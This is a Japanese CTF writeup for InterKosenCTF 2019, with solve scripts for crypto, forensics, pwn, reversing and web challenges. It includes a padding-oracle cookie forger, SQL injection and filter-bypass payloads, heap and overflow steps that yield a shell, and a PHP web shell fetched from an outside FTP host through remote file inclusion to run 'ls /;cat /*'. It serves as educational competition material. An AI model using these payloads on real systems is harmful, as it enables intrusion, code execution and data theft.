Posted at

InterKosenCTF writeup

InterKosenCTFに1人チームで参加し、

3910点で127チーム(うち正の点数は91チーム)中15位でした。


Kurukuru Shuffle

与えられたファイルを解凍すると、以下のファイルencryptedと、

これを生成したと思われるプログラムshuffle.pyが得られた。

1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm

このプログラムは、ランダムな値を生成し、それに基づいて入力をシャッフルしているようであった。

そこで、このプログラムを改造し、


  • これらの値を全探索する

  • 入力のある位置の文字が出力でどこに行くかを調べ、その逆変換を行う

  • 逆変換の結果にフラグの一部であるKosenCTFが入っているものを出力する

ようにした。この改造版が以下のプログラムである。


shuffle_kai.py

#from secret import flag

from random import randrange

e = "1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm"

flag = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQ"

def is_prime(N):
if N % 2 == 0:
return False
i = 3
while i * i < N:
if N % i == 0:
return False
i += 2
return True

L = len(flag)
assert is_prime(L)

#encrypted = list(flag)
#k = randrange(1, L)
for k in range(1, L) :
for a in range(0, L):
for b in range(0, L):
if a == b:
continue
#a = randrange(0, L)
#b = randrange(0, L)

#if a != b:
# break

encrypted = list(flag)
i = k
for _ in range(L):
s = (i + a) % L
t = (i + b) % L
encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
i = (i + k) % L

encrypted = "".join(encrypted)
#print(encrypted)
table = {}
for x in range(len(encrypted)):
table[encrypted[x:x+1]] = x
dec = ""
for x in range(len(flag)):
idx = table[flag[x:x+1]]
dec += e[idx:idx+1]
if "KosenCTF" in dec:
print(dec)


このプログラムを実行すると様々な出力が得られたが、

そのうちフラグの形式になっているものは

KosenCTF{5s4m1m1_m4rk_s3np41_1s_s38l9y_cut3_34769l1u}

KosenCTF{5s4m1m1_m4sk_s3np41_1s_r34l9y_cut3_38769l1u}
KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}

の3種類であった。これらをそれぞれスコアサーバに入力してみたところ、正解は

KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}

のようであった。


Flag Ticket

問題文中の番号をそのまま指定のサイトに入れるだけでは、フラグは得られなかった。

与えられたファイルを解凍すると、Pythonのプログラムなどが得られた。

このプログラムの主な機能は、



  • /check: 与えられた番号とis_hitの情報を含むJSONをパディングした上でAESのCBCモードで暗号化し、cookieに設定する


  • /result: cookieから暗号文を読み取り、復号とJSONのデコードを行い、その結果に応じた出力を行う

のようであった。

そこで、「AES CBC 攻撃」でググった結果、

Padding Oracle AttackによるCBC modeの暗号文解読と改ざん - security etc...

がヒットした。

この記事の内容を簡単に言うと、


  • 「パディングのバイト数の値のバイトを用いてパディングする」という方式がある

  • CBCモードのあるブロックの復号は、そのブロックに対しブロック暗号の復号を行ったあと、
    前のブロックとxorを取ることで行う

  • ブロック暗号の復号結果によらず、前のブロックの最後のバイトを全探索することで、
    xorの結果が01になり、有効なパディングであるとみなされるバイトがみつかる

  • このバイトと01をxorすることで、ブロック暗号の復号結果の最後のバイトがわかる

  • ブロック暗号の最後のバイトがわかったので、このバイトとxorすることで02になるバイトはすぐにわかる。
    この情報を利用し、最後のバイトの前のバイトとxorして02になるバイトを全探索する。

  • これを繰り返すことで、ブロック暗号の復号結果が全てわかる

  • ブロック暗号の復号結果がわかるので、xorする値を操作することで全体の復号結果を任意のメッセージにできる

ということである。

これに基づき、以下の「ブロックを入力し、そのブロックに対するブロック暗号の復号結果を求める」コードを書いた。


test.pl

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $target = "4e506524da2cdb4e1c8fd52b166f89c0";

if (@ARGV > 0) {
$target = $ARGV[0];
}

srand;
my $padding = "";
for (my $i = 0; $i < 16; $i++) {
$padding .= sprintf("%02x", int(rand() * 256));
}

my @got = ();

for (my $d = 1; $d <= 16; $d++) {
printf "cracking %d / 16\n", $d;
my $current_padding = substr($padding, 0, 32 - $d * 2);
my $current_got = "";
for (my $i = 0; $i < @got; $i++) {
$current_got .= sprintf("%02x", $got[$i] ^ $d);
}
my @new_got = ();
for (my $i = 0; $i < 256; $i++) {
my $sock = new IO::Socket::INET(PeerAddr=>"crypto.kosenctf.com", PeerPort=>8000, Proto=>"tcp");
die "socket error $!\n" unless $sock;
binmode($sock);
print $sock "GET /result HTTP/1.0\r\n";
print $sock "Host: crypto.kosenctf.com\r\n";
print $sock "Connection: close\r\n";
print $sock "User-Agent: perl\r\n";
printf $sock "Cookie: result=%s%02x%s%s\r\n", $current_padding, $i, $current_got, $target;
print $sock "\r\n";
my $res = "";
while (<$sock>) { $res .= $_; }
close($sock);
if ($res !~ /padding/) {
push(@new_got, $i);
}
}
if (@new_got == 0) {
print "error: not found\n";
exit;
} elsif (@new_got > 1) {
print "error: multiple found:";
for (my $i = 0; $i < @new_got; $i++) {
printf " %02x", $new_got[$i];
}
print "\n";
exit;
}
my $ans = $new_got[0] ^ $d;
printf "got answer: %02x\n", $ans;
unshift(@got, $ans);
}

print "\ndec = ";
for (my $i = 0; $i < @got; $i++) {
printf "%02x", $got[$i];
}
print "\n";


これを用い、フラグが得られるようなメッセージを暗号化して送信したい。

is_hitにFalseを設定したメッセージが渡されているため、

これをTrueに設定するといいことが起こりそうな気がした。

そこで、{"is_hit": true, "number": 765876346283}というJSONデータを作成した。

これを16進数で表し、暗号化用のブロックに分割してパディングをすると、

7b2269735f686974223a20747275652c

20226e756d626572223a203736353837
363334363238337d0808080808080808

となった。

これに基づき、暗号文を作成していった。

まず、暗号文の最後のブロックを決めた。

ある回のcookieから得られた1cd4f71ead26f125fff318b6730098f4としたが、任意でよさそうな気がする。

そして、以下の操作を行い、後ろから暗号文を作っていった。


  1. 現在作成済みの先頭のブロックから、そのブロック暗号の復号結果を求める。

  2. その復号結果と、まだ使っていない最後の平文ブロックをxorする。これが新しい暗号文のブロックになる。

  3. できた暗号文のブロックを、先頭に追加する。

  4. まだ使っていない平文ブロックが残っていれば、1に戻る。

ちなみに、ブロックのxorはPythonのインタラクティブモードを用いて

hex(0xeb2e675f0291643af701284d21aaa276 ^ 0x363334363238337d0808080808080808)

のようにした。

具体的に、以下のように処理が進んだ。

暗号文
暗号文の復号結果
この復号結果とxorする平文

1cd4f71ead26f125fff318b6730098f4
eb2e675f0291643af701284d21aaa276
363334363238337d0808080808080808

dd1d536930a95747ff09204529a2aa7e
ca1192a445f577b2357896f0aa644a07
20226e756d626572223a203736353837

ea33fcd1289712c01742b6c79c517230
6a4d811447e6d1f15cb5a67effa94969
7b2269735f686974223a20747275652c

116fe867188eb8857e8f860a8ddc2c45
(省略)
(なし)

結果として、暗号文

116fe867188eb8857e8f860a8ddc2c45

ea33fcd1289712c01742b6c79c517230
dd1d536930a95747ff09204529a2aa7e
1cd4f71ead26f125fff318b6730098f4

が得られた。

curlを用い、以下のようにこれをcookieに設定してリクエストを送ることで、フラグを含むHTMLが得られた。

curl -s -b result=116fe867188eb8857e8f860a8ddc2c45ea33fcd1289712c01742b6c79c517230dd1d536930a95747ff09204529a2aa7e1cd4f71ead26f125fff318b6730098f4 http://crypto.kosenctf.com:8000/result

(-s:余計な出力をしない、-b:cookieの内容を設定する)

得られたフラグはKosenCTF{padding_orca1e_is_common_sense}である。


Hugtto!

与えられたファイルを解凍すると、

ゆかりんじゃない方と思われる画像と、それを作ったと考えられるコードが得られた。

このコードを読むと、フラグをビット単位に分解し、

画像のピクセルに縦方向に埋め込んでいるようであった。

ただし、ビットはr, g, bのどれか1チャンネルだけをランダムに選んで埋め込んでいるようであった。

そこで、以下の処理を行うプログラムを書いた。


  1. 画像を読み込み、各ピクセルの各チャンネルの下位1ビットを取り出す

  2. フラグの長さを10バイト(KosenCTF{}の長さ)と仮定する。

  3. 決め打ちしたフラグの長さを用いて、分解したフラグの各ビットに当たる可能性がある情報の0と1の数を数える

  4. 各ビットを0か1の多かった方に決める

  5. 分解されたビットを合成し、文字列にする

  6. できた文字列がKosenCTF{を含んでいれば、それを出力して終了する。
    そうでなければ、仮定するフラグの長さを1バイト伸ばして3以降を繰り返す。

以下にこのプログラムを示す。


solve.py

import cv2

import numpy as np

img = cv2.imread("hugtto/steg_emiru.png")
h = img.shape[0]
w = img.shape[1]
c = img.shape[2]

data = []

for x in range(w):
for y in range(h):
block = []
for z in range(c):
block.append(img[y][x][z] & 1)
data.append(block)

key = "KosenCTF{"
size = 10
while True:
print("trying size %d" % size)
bitNum = size * 8
votes = [[0, 0] for i in range(bitNum)]
for i in range(len(data)):
for v in data[i]:
votes[i % bitNum][v] += 1
res = ""
for i in range(0, bitNum, 8):
c = 0
for j in range(8):
if votes[i + j][0] < votes[i + j][1]:
c |= 1 << j
res += chr(c)
if key in res:
print(res)
break
size += 1


よく見たら選ばれなかったチャンネルのビットをランダムに決めているわけではないので、

これではうまくいかない可能性が高そうな気がするが、本番では運良くうまくいった。

ただし、データが縦方向に埋め込まれていることに注意が必要である。

最初ここを間違えてしまい、うまくいかなかった。

結果として、フラグの長さを68バイトと仮定したとき、

KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}

が得られた。


Temple of Time

与えられたファイルを解凍すると、1個のPCAPNGファイルが得られた。

これをWiresharkで読み込むと、大量のHTTPリクエストが見られた。

これらのHTTPリクエストのほとんどは/index.phpにパラメータを付けてリクエストしており、

このパラメータのURLエンコードをデコードすると、

'OR(SELECT(IF(ORD(SUBSTR((SELECT password FROM Users WHERE username='admin'),2,1))=48,SLEEP(1),'')))#

のような形式であった。

そして、この形式のHTTPリクエストの多くにはすぐ(2行後)にレスポンスが帰っていたが、

たまにそうではないものもあった。

そこで、まずはWiresharkの「ファイル→エキスパートパケット解析→CSV形式として」を用い、

データをCSV形式にした。

そして、以下のプログラムを用いて、URLに付いているパラメータを抽出した。


process1.py

import csv

import urllib.parse

f = open("export.csv", "r")
r = csv.reader(f)
data = list(r)

key = "GET /index.php?portal="
footer = " HTTP/1.1 "

for i in range(len(data)):
if data[i][6].find(key) == 0:
#res = "slow"
#for j in range(5):
# if i + 1 + j >= len(data):
# break
# reply = data[i + 1 + j][6]
# if "HTTP/1.1 200 OK" in reply:
# res = "fast"

data2 = data[i][6][len(key):]
data3 = urllib.parse.unquote_plus(data2)
if data3.find(footer) == len(data3) - len(footer):
data3 = data3[0:(len(data3)-len(footer))]
#print(res + "\t" + data3)
print(data3)


ところで、このパラメータには「何文字目を調べるか」を表すと考えられる部分(上記の例では2)と、

「それが何かを調べるか」を表すと考えられる部分(上記の例では48)がある。

最初はレスポンスがすぐ帰ってくるかを調べようとしたが、観察の結果あまり役立たなそうだったので、

レスポンスがすぐ帰ってこないタイミングで、かつそのタイミングのみで

「何文字目を調べるか」を変えるまたはクエリの送信をやめる、と仮定して解析を行った。

この仮定の対偶をとると、「『何文字目を調べるか』が変わったかクエリの送信が終わっていたら、

その直前はレスポンスがすぐ帰ってこなかった」が導ける。

この仮定に基づき、レスポンスがすぐ帰ってこなかったときの

「それが何かを調べるか」を文字として出力する以下のコードを書いた。

このコードの入力は、先程のコードの出力である。


process2.pl

#!/usr/bin/perl

use strict;
use warnings;

my $prev = -1;
my $prevc = -1;

while (my $line = <STDIN>) {
chomp($line);
if ($line =~ /\),([0-9]+),1\)\)=([0-9]+),/) {
my $idx = int($1);
my $char = int($2);
if ($idx != $prev) {
if ($prevc >= 0) {
printf "%c", $prevc;
}
}
$prev = $idx;
$prevc = $char;
}
}

print "\n";


このプログラムを実行した結果、

KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}

という出力が得られた。


fastbin tutorial

指定のサーバにTera Termの「その他」で接続すると、人間向けのCUIになっていた。

このCUIでは3個の変数A,B,Cが用意され、



  • mallocをして結果を指定した変数に入れる

  • 指定した変数をfreeする

  • 指定した変数が指す場所を文字列として読む

  • 指定した変数が指す場所に指定した文字列を書き込む

という操作ができるようになっていた。

また、リンクリストのようなものが表示されていた。

そして、データを読み込む目標のアドレスが指定されていた。

いろいろ試した結果、以下の操作により、このアドレスを読み込むことができた。


  1. 変数Aを指定してmallocする

  2. 変数Bを指定してmallocする

  3. 変数Aを指定してfreeする

  4. 変数Bを指定してfreeする

  5. Aを指定し、目標のアドレス-0x10の値を書き込む

    書き込む値は、文字列として指定する。
    今回はShift_JISを使用し、うまくShift_JISの文字列にならない値の時は再接続してやり直した。
    (再接続すると目標のアドレスは変わるようであった)

  6. 「変数Cを指定してmallocする」を3回繰り返す

  7. 変数Cが指す場所の文字列を読み込む

4の操作までを行うと、以下の状態になった。

 ===== Your List =====

A = 0x55dbbf73a120
B = 0x55dbbf73a180
C = (nil)
=====================

+---- fastbin[3] ----+
| 0x000055dbbf73a170 |
+--------------------+
||
\/
+--------- B --------+
| 0x000055dbbf73a110 |
| 0x00007fba5a50db78 |
+--------------------+
||
\/
+--------- A --------+
| 0x0000000000000000 |
| 0x00007fba5a50db78 |
+--------------------+
||
\/
(end of the linked list)

ここでAのところに0が並んでいることに注目し、5の操作を行うと、以下の状態になった。

 ===== Your List =====

A = 0x55dbbf73a120
B = 0x55dbbf73a180
C = (nil)
=====================

+---- fastbin[3] ----+
| 0x000055dbbf73a170 |
+--------------------+
||
\/
+--------- B --------+
| 0x000055dbbf73a110 |
| 0x00007fba5a50db78 |
+--------------------+
||
\/
+--------- A --------+
| 0x000055dbbf73a230 |
| 0x00007fba5a50db78 |
+--------------------+
||
\/
+------- flag! ------+
| THE FLAG IS HERE!! |
+--------------------+

6の操作を行うと、リンクリストの要素が減りつつ、

fastbin[3]に入っている値+0x10がCに入っていった。

(5の操作で-0x10するのは、ここで+0x10されるためである)

そして、3回目の操作で目標のアドレスがCに入り、これを7の操作で読むとフラグが出てきた。

KosenCTF{y0ur_n3xt_g0al_is_t0_und3rst4nd_fastbin_corruption_attack_m4yb3}


shopkeeper

与えられたファイルを解凍すると、

ELFファイルと思われるファイルと、C言語のソースコードが出てきた。

このC言語のソースコードを読むと、Hopesの購入と使用の操作をすることで、

item_YourGoal()関数が実行され、シェルを出してくれることがわかった。

しかし、普通に操作をしてもshop()関数内の所持金チェックに引っかかってしまい、

購入することができない。

そこで、shop()関数内で使用されているreadline()関数とpurchase()関数に注目した。

readline()関数はLFが来るかエラーになるまで標準入力を読み込み、

さらにバッファの次の場所に書き込むのをやめない。

一方、purchase()関数ではstrcmp()関数で購入するアイテムの判定をしている。

したがって、ナル文字を入れてpurchase()関数をだましつつ、

readline()関数によってバッファオーバーランを発生させ、

shop()関数内の所持金を表す変数moneyの値を破壊すればいいことがわかった。

具体的には、以下の操作を行った。


  1. Tera Termの「その他」で指定のサーバーに接続する

  2. 送信の改行コードをLFに設定する (ここがCRだと、readline()関数の仕様上先に進めない)


  3. Hopesと入力する (まだEnterキーは押さない)


  4. Ctrl+Spaceを押す (ナル文字を入力する)


  5. 12345678901234567890123456789012345678901234567890と入力し、Enterキーを押す

  6. Wanna use it now?と聞かれるので、Yを入力してEnterキーを押す (yではダメなので注意)

  7. シェルの操作に移るので、lsコマンドを実行する

  8. 一覧の中にflag.txtがあるので、cat flag.txtコマンドを実行する

その結果、フラグKosenCTF{th4t5_0v3rfl0w_41n7_17?}が得られた。


basic crackme

与えられたファイルを解凍すると、ELFファイルと思われるファイルcrackmeが得られた。

このファイルに対しobjdump -d crackmeを実行すると、

objdump: crackme: File format not recognized

という出力が得られた。

そこで、このファイルをバイナリエディタで見て、

見た目で機械語っぽいと思われた0x1000バイト目~0x146Fバイト目(0-origin)を切り出した。

そして、この切り出したファイルcrackme-1000-146F.binに対し、

objdump -b binary -m i386:x86-64 -D crackme-1000-146F.bin

というコマンドを実行することで、逆アセンブルを行った。

逆アセンブルの結果を見ると、スタック上の連続した領域に4バイトずつ数を書き込んでいる部分と、

判定処理を行っている部分などが見られた。

このうち、判定処理を行っている部分をよく読んで処理内容を書き下すと、以下のようになった。

 315:   48 8b 85 20 ff ff ff    mov    -0xe0(%rbp),%rax               rax = rsi

31c: 48 83 c0 08 add $0x8,%rax rax = rsi + 8
320: 48 8b 10 mov (%rax),%rdx rdx = *(rsi + 8)
323: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax eax = counter
329: 48 98 cltq rax = eax
32b: 48 01 d0 add %rdx,%rax rax = *(rsi + 8) + counter
32e: 0f b6 00 movzbl (%rax),%eax eax = *(unsigned char*)rax
331: 0f be c0 movsbl %al,%eax eax = al
334: c1 e0 04 shl $0x4,%eax eax <<= 4
337: 0f b6 d0 movzbl %al,%edx edx = al (eax & 0xff)
33a: 48 8b 85 20 ff ff ff mov -0xe0(%rbp),%rax rax = rsi
341: 48 83 c0 08 add $0x8,%rax rax = rsi + 8
345: 48 8b 08 mov (%rax),%rcx rcx = *(rsi + 8)
348: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax eax = counter
34e: 48 98 cltq rax = eax
350: 48 01 c8 add %rcx,%rax rax = *(rsi + 8) + counter
353: 0f b6 00 movzbl (%rax),%eax eax = *(unsigned char*)rax
356: c0 f8 04 sar $0x4,%al al = (signed char)al >> 4
359: 0f be c0 movsbl %al,%eax eax = al
35c: 09 c2 or %eax,%edx edx = eax | edx // nibble swap
35e: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax eax = counter
364: 01 c2 add %eax,%edx edx = eax + edx
366: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax eax = counter
36c: 48 98 cltq rax = eax
36e: 8b 84 85 40 ff ff ff mov -0xc0(%rbp,%rax,4),%eax eax = c0[counter]
375: 29 c2 sub %eax,%edx edx = edx - eax
377: 89 d0 mov %edx,%eax eax = edx
379: 09 85 38 ff ff ff or %eax,-0xc8(%rbp) c8 = c8 | eax
37f: 83 85 3c ff ff ff 01 addl $0x1,-0xc4(%rbp) counter += 1
386: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax eax = counter
38c: 48 63 d8 movslq %eax,%rbx rbx = eax
38f: 48 8b 85 20 ff ff ff mov -0xe0(%rbp),%rax rax = rsi
396: 48 83 c0 08 add $0x8,%rax rax = rsi + 8
39a: 48 8b 00 mov (%rax),%rax rax = *rax
39d: 48 89 c7 mov %rax,%rdi rdi = rax
3a0: e8 9b fc ff ff callq 0x40 strlen()?
3a5: 48 39 c3 cmp %rax,%rbx rbx - rax
3a8: 0f 82 67 ff ff ff jb 0x315 // iteration?

この処理のあとは、-0xc8(%rbp) (通称c8)が0であれば

Yes. This is the your flag :)を出力し、そうでなければTry harder!を出力するようであった。

したがって、Yes. This is the your flag :)を出力させるためには、

0x375番地での引き算edx = edx - eaxの結果を0にし続けないといけないようであった。

この引き算で使われている値は、

edxは入力から計算される値、eaxは先程スタックに書き込んだ値のようであった。

この「入力から計算」は、具体的には

「入力のバイトの上位4ビットと下位4ビットを入れ替え、そこが0-originで何バイト目かを足す」

のようであった。

これに基づき、スタックに書き込んでいる値をテキストエディタの正規表現による置換機能などで切り出し、

対応する入力の値を計算する以下のプログラムを作り、実行した。


hoge.pl

#!/usr/bin/perl

use strict;
use warnings;

my @data = (
0xb4, 0xf7, 0x39, 0x59, 0xea, 0x39, 0x4b, 0x6b,
0xbf, 0x80, 0x3d, 0xd1, 0x42, 0x10, 0xe4, 0x42,
0x105, 0x58, 0x15, 0x108, 0xab, 0x18, 0xe8, 0xcd,
0x1b, 0xeb, 0x51, 0x1e, 0x111, 0x44, 0x51, 0x86,
0x53, 0x48, 0x59, 0x36, 0x10a, 0x9b, 0xfd
);

for (my $i = 0; $i < @data; $i++) {
my $c = $data[$i] - $i;
my $swapped = (($c >> 4) | ($c << 4)) & 0xff;
printf "%c", $swapped;
}

print "\n";


その結果、

KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}

という出力が得られた。


Survey

問題文中で指定されているGoogleフォームで回答を送信すると、フラグが出てきた。

後半の「一番〇〇な問題」系の設問は評価を行う負荷が高いが、

回答が必須となっていないので、フラグを得るだけなら飛ばせばよい。

KosenCTF{th4nk_y0u_f0r_pl4y1ng_InterKosenCTF_2019}


uploader

指定のWebサイトにソースを表示する機能があった。

見ると、入力の文字列をそのままSQL文に埋め込んでおり、

SQLインジェクションしてくださいと言わんばかりであった。

また、ダウンロードの対象にsecret_fileというのが見えていた。

まず、ダウンロードの判定が

    $name = $_GET['download'];

$rows = $db->query("select name, passcode from files where name = '$name'")->fetchAll();
if (count($rows) == 1 && $rows[0][0] === $name && $rows[0][1] == $_GET['passcode']) {

となっていたため、download' union select 'secret_file', 'aaapasscodeaaaを入れてみたが、

これはうまくいかなかった。

次に、検索を行う部分が

    $rows = $db->query("SELECT name FROM files WHERE instr(name, '{$_GET['search']}') ORDER BY id DESC");

となっていたため、

') union select passcode from files where instr('1', '1を検索してみたが、これはうまくいかなかった。

しかし、') union select passcode from files --で検索すると、

ファイル名に混ざってthe_longer_the_stronger_than_more_complicatedという行が出てきた。

そして、これをpasscodeの欄に入れることで、以下のsecret_fileをダウンロードすることができた。

KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}


Image Extractor

問題文より、ファイル/flagを読みたいことがわかった。

また、与えられたファイルを解凍すると、Rubyのソースコードなどが得られた。

このソースコードを読むと、


  1. zipファイルを受け取る

  2. zipファイルの中身をチェックする

  3. zipファイルの中身のうち、word/media/ディレクトリ内にある拡張子付きのファイルをダウンロードできるようにする

という動作をするようであった。

そこで、word/media/ディレクトリ内に、/flagへの拡張子付きのシンボリックリンクを作るようにすることで、

/flagの中身を読むことができるようになった。

(/flagに拡張子がついていないからといって、シンボリックリンクの名前に拡張子をつけないと、

チェックに引っかかってダウンロードできなくなってしまった)

具体的には、

ブラウザでプログラミング・実行ができる「オンライン実行環境」| paiza.IO

を用い、以下のbashのコードを実行することで、

このシンボリックリンクを含むzipファイルをbase64エンコードしたものを得ることができ、

これをデコードすることで/flagを読むためのzipファイルを得ることができた。

(zipのrオプション:再帰的に圧縮、yオプション:シンボリックリンクをたどらずにそのまま圧縮)

参考:シンボリックリンクも維持して圧縮 - Webエンジニアの技術メモ 〜PHP、SQL、Linuxなど〜


create.sh

#!/bin/sh

mkdir -p word/media
ln -s /flag word/media/flag.txt
zip -ry flag.zip word
base64 flag.zip


このzipファイルをアップロードすることで、以下のflag.txtを得ることができた。


flag.txt

KosenCTF{sym1ink_causes_arbitrary_fi13_read_0ft3n}



Neko Loader

与えられたファイルを解凍すると、

getimage.phpindex.phpphpinfo.phpの3個のPHPファイルなどが得られた。

index.phpgetimage.phpにクエリを与えるためのフォームのHTML、

phpinfo.php<?php phpinfo(); ?>

getimage.phpはクエリに基づいてパスを生成し、includeに渡すプログラムであった。

getimage.phpは、extnameの入力に基づき、include($ext.'/'.$name.'.'.$ext);を行う。

ただし、extの長さが4文字を超えると弾くようになっている。

試しにextphpname../phpinfoを与えてみると、

パスはphp/../phpinfo.phpとなり、先述のphpinfo.phpincludeすることになるらしく、

phpinfo();の実行結果と思われるHTMLが出力された。

また、PHPのincludeについて調べると、

PHP: include - Manual

に、適当なサーバーに以下のevil.txtを置き、読み込ませることで、

コマンドを実行させることができる、というような記述があった。


evil.txt

<?php echo shell_exec($_GET['command']);?>


そこで、まずこのevil.txt

Filemail.com - 大容量ファイルを送ろう。高速、簡単かつ安全に。

にアップロードした。

このサービスにファイルをアップロードすることで、

そのファイルをFTPでダウンロードさせることができるようになる。

そして、extftp:name/amtboqoqcbfbpud:filemail@2005.filemail.com/evil.txt#を指定した。

(このパラメータは、自分がアップロードしたときの情報に基づく)

さらに、フォームの送信先を、/getimage.phpから/getimage.php?command=ls /;cat /*にした。

このことにより、includeに渡すパスは

ftp://amtboqoqcbfbpud:filemail@2005.filemail.com/evil.txt#.ftp:となる。

ポイントは、



  • extftp:を指定し、外部サーバーからファイルを読み込ませる。
    (ここでHTTPを使用しようとすると文字数制限に引っかかってしまうので、FTPを使用する)


  • nameの最初を/にすることで、URLにする。


  • nameの最後を#にすることで、これに続くextの部分をアンカーにし、パスから切り離す。

  • 送信先を変更し、実行したいコマンドを指定する。

ということである。この結果、

bin

boot
dev
etc
home
lib
lib64
media
mnt
nyannyan_flag
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
KosenCTF{n3v3r_4ll0w_url_1nclud3}

という出力が得られた。


E-Sequel-Injection

指定のサイトにはログインフォームとソースの閲覧機能があった。

ソースを見ると、典型的なSQLインジェクション対象である

    $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");

という部分があるものの、usernameまたはpasswordがパターン

$pattern = '/(\s|UNION|OR|=|TRUE|FALSE|>|<|IS|LIKE|BETWEEN|REGEXP|--|#|;|\/|\*|\|)/i';

に引っかかると弾かれるようになっていた。

また、データベースに接続する部分から、MySQLを使っていることがわかった。

そこで、MySQLにおける文字列の操作や演算子などを調べた上で、

usernameにadmin'&&、passwordに&&'1を入れてみたが、うまくいかなかった。

これを入れると、クエリは"SELECT username from users where username='admin'&&' and password='&&'1'となる。

MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.3.3 論理演算子

によれば、


MySQL では、ゼロ以外の任意の非 NULL 値が TRUE に評価されます。


とのことであったので、' and password=''1'もゼロでもNULLでもなく、TRUEに評価されると考えられた。

しかし、なぜか実際は' and password='はFALSEに評価されるようであった。

そこで、この部分をTRUEにするために、文字列操作関数を使用することにした。

いざという時便利? なMySQL文字列関数10選 : Strings of Life

から適当な関数を選び、usernameにadmin'&&LENGTH(、passwordに)&&'1を入れることで、

フラグKosenCTF{Smash_the_holy_barrier_and_follow_me_in_the_covenant_of_blood_and_blood}が得られた。


Welcome

問題文中のリンクからSlackに登録して入ると、

#generalチャンネル中にflagを含む投稿がピン止めされていた。

KosenCTF{g3t_r34dy_f0r_InterKosenCTF_2019}